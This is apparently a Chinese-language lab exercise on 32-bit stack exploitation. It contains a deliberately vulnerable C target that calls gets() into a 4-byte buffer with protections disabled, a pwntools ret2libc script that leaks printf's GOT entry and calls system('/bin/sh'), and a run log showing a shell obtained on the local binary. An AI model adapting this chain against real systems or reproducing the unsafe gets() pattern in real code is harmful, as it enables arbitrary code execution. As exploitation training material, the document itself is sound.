靶子代码:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int macdbg_dmphex( const char* buff, int len )
{
int retval = 0;
int x, y, tot, lineoff;
const char* curr;
lineoff = 0;
curr = buff;
tot = 0;
for( x = 0; len > x+16; ){
printf("0x%08x: ", lineoff);
for( y = 0; y < 16; y++ ){
printf("%02x ", (unsigned char)*(curr + y));
}
printf(" ");
for( y = 0; y < 16; y++ ){
char c;
c = *(curr + y);
if( c > 31 && c < 127 ){
printf("%c", c);
}else{
printf("%c", '.');
}
tot++;
}
curr += 16;
x += 16;
lineoff+=16;
printf("\n");
}
//do last line
if( tot < len ){
curr = (buff + tot);
printf("0x%08x: ", lineoff);
for( y = 0; y < (len - tot); y++ ){
printf("%02x ", (unsigned char)*(curr + y));
}
//padding with spaces
//printf("(len - tot) %d.\r\n", (len - tot) );
if( (len - tot) < 16 ){
for( y = 0; y < (32 - ((len - tot)*2)); y++ ){
printf(" ");
}
}
for( y = 0; y < 16-(len - tot); y++ ){
printf(" ");
}
printf(" ");
//printf("(len - tot) %d.\r\n", (len - tot) );
for( y = 0; y < (len - tot); y++ ){
char c;
c = *(curr + y);
if( c >31 && c < 127 ){
printf("%c", c);
}else{
printf("%c", '.');
}
}
printf("\n");
}
return retval;
}
void gadget_pop_ebx() {
asm("pop %ebx; ret;");
}
void fuck()
{
unsigned char *pxx;
int i;
char buffer[4];
gets(buffer);
//macdbg_dmphex(buffer, 0x100);
}
void xxx_fun(void)
{
unsigned int *px;
//printf("xxx_fun = %p\n", xxx_fun);
//printf( (unsigned int *)0x0804a00c);
px = (unsigned int *)0x0804a00c;
//usleep(1);
for(int i=0x00; i<2;i++){
printf( 0x0804a00c);
}
// while(1){;}
//usleep(1);
}
#include <stdio.h>
#include <dlfcn.h>
#include <link.h>
// 获取函数在动态库中的偏移量
static unsigned long get_func_offset(const char* lib, const char* func) {
void* handle = dlopen(lib, RTLD_LAZY);
if (!handle) return 0;
void* addr = dlsym(handle, func);
Dl_info info;
dladdr(addr, &info);
unsigned long offset = (unsigned long)addr - (unsigned long)info.dli_fbase;
dlclose(handle);
return offset;
}
int mainxcv() {
int (*system_func)(char*);
// 1. 获取printf实际地址
void* printf_addr = dlsym(RTLD_NEXT, "printf");
printf("printf address: %p\n", printf_addr);
// 2. 获取libc基址
Dl_info info;
dladdr(printf_addr, &info);
void* libc_base = info.dli_fbase;
printf("libc base: %p\n", libc_base);
printf("printf offset: %p\n", printf_addr-libc_base);
// 3. 获取system偏移量(需提前计算)
unsigned long system_offset = get_func_offset("libc.so.6", "system");
printf("system offset: 0x%lx\n", system_offset);
// 4. 计算system地址
void* system_addr = (void*)((unsigned long)libc_base + system_offset);
printf("system address: %p\n", system_addr);
//int (*system_func)(char*)
system_addr = system_addr;
system_func = system_addr;
system_func("/bin/bash");
return 0;
}
char g_buff[16] = { 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39 };
void flushx(void)
{
fflush(0);
}
int main()
{
// 定义函数指针类型(与printf签名匹配)
int (*print_func)(const char*, ...);
fuck();
// 指向printf函数
//print_func = printf;
//printf( (unsigned int *)0x0804a00c );
//printf( (unsigned int *)0x0804a00c );
//printf( (unsigned int *)0x0804a00c );
//printf( (unsigned int *)0x0804a00c );
// 通过函数指针调用
//print_func("Hello, World! %d\n", 2025);
//print_func = 0xf7e44680;
//print_func("Hello, Worldxxx! %d\n", 2025);
void *addr = dlsym(RTLD_NEXT, "printf");
printf("printf2 = %p\n", addr);
return 0;
}
//gcc -m32 -fno-stack-protector -z execstack ctest.c -o ctest -ldl
攻击脚本:
from pwn import *
#context(arch='i386', os='linux', log_level='debug')
context(arch='i386', os='linux',)
elf = ELF('./ctest')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#精确获取关键地址
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']
# 查找可靠gadget
#pop_ret = next(elf.search(asm('pop eax; ret'))) # 单参数清理
pop_ret = 0x8048865
log.success(f"Libc base1: {hex(libc.address)}")
log.success(f"Libc base2: {hex(libc.sym['printf'])}")
#printf_plt = 0x08048852
# 定义重复单元
leak_unit = [printf_plt, pop_ret, p32(printf_got) ]
fflush_plt = elf.plt['fflush'] # 获取fflush的PLT地址
# 构造泄露payload
payload = flat(
b'A'*16,
*leak_unit, # 解包并重复4次
fflush_plt, # 调用fflush刷新输出
pop_ret,
0, # 参数:stdout(通常为0)
main_addr
)
# 交互过程
p = process('./ctest')
p.sendline(payload)
leaked = u32(p.recv(4))
libc.address = leaked - libc.sym['printf']
log.success(f"Libc base: {hex(libc.address)}")
#p.interactive() # 获取交互式shell
system_addr = libc.symbols['system']
log.success(f"system@libc: {hex(system_addr)}")
log.success(f"system@libcx: {hex(libc.sym['system'])}")
# 已知地址
bin_sh_addr = next(libc.search(b'/bin/sh')) # 自动搜索字符串
# 构造payload
payloadx = flat(
b'A'*12, # 填充缓冲区
b'B'*4, # 覆盖返回地址
#ret, # 栈对齐(可选)
system_addr, # 调用system
0xdeadbeef, # system的返回地址(随意)
bin_sh_addr # system的参数
)
# 再次执行攻击
p.sendline(payloadx)
p.interactive() # 获取交互式shell
#run <<< $(python -c 'print("A"*16 + "\x52\x88\x04\x08" + "\x85\x87\x04\x08" + "\x0c\xa0\x04\x08" + "\xc0\x87\x04\x08")')
执行结果:
root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# python3.8 ./xx1.py
[*] '/mnt/hgfs/file_win2linux/stackyichu/ctest'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Libc base1: 0x0
[+] Libc base2: 0x49680
[+] Starting local process './ctest': pid 86010
[+] Libc base: 0xf7dfb000
[+] system@libc: 0xf7e35db0
[+] system@libcx: 0xf7e35db0
[*] Switching to interactive mode
\xa6\x84\x04\x08\xf0\xa3\xe5\xf7Ƅ\x04\x08P5\xe1\xf7\xe6\x84\x04\x08\xf6\x84\x04\x08\x06\x85\x04\x08\x16\x85\x04\x08$
$
$ pwd
/mnt/hgfs/file_win2linux/stackyichu
$